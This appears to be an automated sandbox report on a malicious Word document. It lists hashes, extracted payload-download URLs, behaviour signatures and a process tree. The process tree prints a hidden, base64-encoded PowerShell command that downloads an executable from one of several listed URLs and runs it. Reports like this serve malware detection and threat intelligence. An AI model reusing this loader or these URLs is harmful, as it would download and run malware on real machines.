Analysis
-
max time kernel
121s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
20-11-2024 21:12
General
-
Target
78cb5ae63364f07ef80aed5b3519fda06750053b1e65d226f09e159b42847071.doc
-
Size
171KB
-
MD5
dc6229943a8b00cbca4ea6f70b3c9c08
-
SHA1
5eb56bab75a2db1dfc58866a875d822a97ba6c97
-
SHA256
78cb5ae63364f07ef80aed5b3519fda06750053b1e65d226f09e159b42847071
-
SHA512
af1c42c5aca7c10e468aef6a5a1e7a07c088864ffef4db88c3845deb0fa8b115d30ea44f03d4d25f068d42f82f2afce5557109b318042cd104f1533568d46d6c
-
SSDEEP
3072:I12y/GdyDktGDWLS0HZWD5w8K7Nk9dD7IBUBNGp4HAIoy:I12k4DtGiL3HJk9dD7bvPHAID
Malware Config
Extracted
http://bepeterson.futurismdemo.com/archive/y5o7/
http://www.gnc.happenizedev.com/backup/n99uf/
http://odoo-accounting.com/wp-includes/rest-api/search/R/
http://monoclepetes.com/disneyworldclassroom/sy52j7/
http://bakestories.com/0hikvh/Jm4QTsHwF/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Blocklisted process makes network request 6 IoCs
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
-
Drops file in System32 directory 1 IoCs
-
Drops file in Windows directory 1 IoCs
-
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Office loads VBA resources, possible macro or embedded object present
-
Modifies registry class 64 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 2 IoCs
-
Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\78cb5ae63364f07ef80aed5b3519fda06750053b1e65d226f09e159b42847071.doc"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABHAHgAZgB5AGcAaQBmAGIAcgBjAGQAPQAnAFMAcQBwAGoAdAB1AHAAZAB1AHAAeAAnADsAJABVAHkAcABkAGwAZQBpAHMAaAB1AGcAIAA9ACAAJwAxADYAMgAnADsAJABCAGcAYgB3AHcAbABjAGIAagB2AGcAaQA9ACcATABjAHcAbQBjAHcAbABzACcAOwAkAFIAYwBkAHQAaABnAGEAZQBwAHUAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFUAeQBwAGQAbABlAGkAcwBoAHUAZwArACcALgBlAHgAZQAnADsAJABCAG0AYgBuAGwAaQBoAHQAYwBuAGUAdQBxAD0AJwBPAG0AcgBoAHUAYwBrAGgAbAAnADsAJABGAGYAaQB2AGQAdQBxAGkAdgBrAHMAZgA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBjAGwASQBlAG4AdAA7ACQAUABhAGEAdABnAGUAagBhAHcAPQAnAGgAdAB0AHAAOgAvAC8AYgBlAHAAZQB0AGUAcgBzAG8AbgAuAGYAdQB0AHUAcgBpAHMAbQBkAGUAbQBvAC4AYwBvAG0ALwBhAHIAYwBoAGkAdgBlAC8AeQA1AG8ANwAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGcAbgBjAC4AaABhAHAAcABlAG4AaQB6AGUAZABlAHYALgBjAG8AbQAvAGIAYQBjAGsAdQBwAC8AbgA5ADkAdQBmAC8AKgBoAHQAdABwADoALwAvAG8AZABvAG8ALQBhAGMAYwBvAHUAbgB0AGkAbgBnAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwByAGUAcwB0AC0AYQBwAGkALwBzAGUAYQByAGMAaAAvAFIALwAqAGgAdAB0AHAAOgAvAC8AbQBvAG4AbwBjAGwAZQBwAGUAdABlAHMALgBjAG8AbQAvAGQAaQBzAG4AZQB5AHcAbwByAGwAZABjAGwAYQBzAHMAcgBvAG8AbQAvAHMAeQA1ADIAagA3AC8AKgBoAHQAdABwADoALwAvAGIAYQBrAGUAcwB0AG8AcgBpAGUAcwAuAGMAbwBtAC8AMABoAGkAawB2AGgALwBKAG0ANABRAFQAcwBIAHcARgAvACcALgAiAFMAcABMAGAAaQBUACIAKAAnACoAJwApADsAJABTAGwAYgBpAGkAagBkAGMAdgBrAGsAcAA9ACcATgBtAGcAeQB6AHIAbABxACcAOwBmAG8AcgBlAGEAYwBoACgAJABJAG8AegByAG8AbgBuAGgAcQB5AGsAIABpAG4AIAAkAFAAYQBhAHQAZwBlAGoAYQB3ACkAewB0AHIAeQB7ACQARgBmAGkAdgBkAHUAcQBpAHYAawBzAGYALgAiAEQAYABvAHcAbgBgAEwATwBhAEQARgBJAEwARQAiACgAJABJAG8AegByAG8AbgBuAGgAcQB5AGsALAAgACQAUgBjAGQAdABoAGcAYQBlAHAAdQApADsAJABKAHUAawBpAHcAcQBlAHAAdgB0AHAAPQAnAFQAZgB1AHIAbwBrAHcAZQB4AGIAZwBnACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAJwArACcAZQBtACcAKQAgACQAUgBjAGQAdABoAGcAYQBlAHAAdQApAC4AIgBMAGAAZQBOAGcAYABUAEgAIgAgAC0AZwBlACAAMwAyADAAMgA5ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAVABBAGAAUgB0ACIAKAAkAFIAYwBkAHQAaABnAGEAZQBwAHUAKQA7ACQATQBhAGcAYwBmAG8AeQBvAHkAdgA9ACcARwB1AHQAeABsAHIAdQBtACcAOwBiAHIAZQBhAGsAOwAkAFoAdwBmAGoAaQBtAHMAZQBiAD0AJwBWAGQAdQBtAG4AcgBlAHYAcQB3AHYAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUQBrAGQAZAB1AHAAdgBxAHEAPQAnAEsAdwB2AGYAbAB2AHQAdAAnAA==1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
444B
MD5c1cacaed879b00cb79daf5ec996913f8
SHA1f9deb8fef4f2f8028067c608f164a2013fc49c0b
SHA256d7d9d603bcb46cc9469cf86590943419b4d413a3dd8a16f18986697382caeea2
SHA512ff167ef0aa886c0b4d1c8209a964b2da4d612a188db4d6ae95fe63280ef0f354b55e0af7ccd2106101d91e7b38078aa12e400cbd1a5ed00ec22cff11bef9b02e
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
64KB
-
Filesize
1024KB
-
Filesize
4KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
2.9MB
-
Filesize
32KB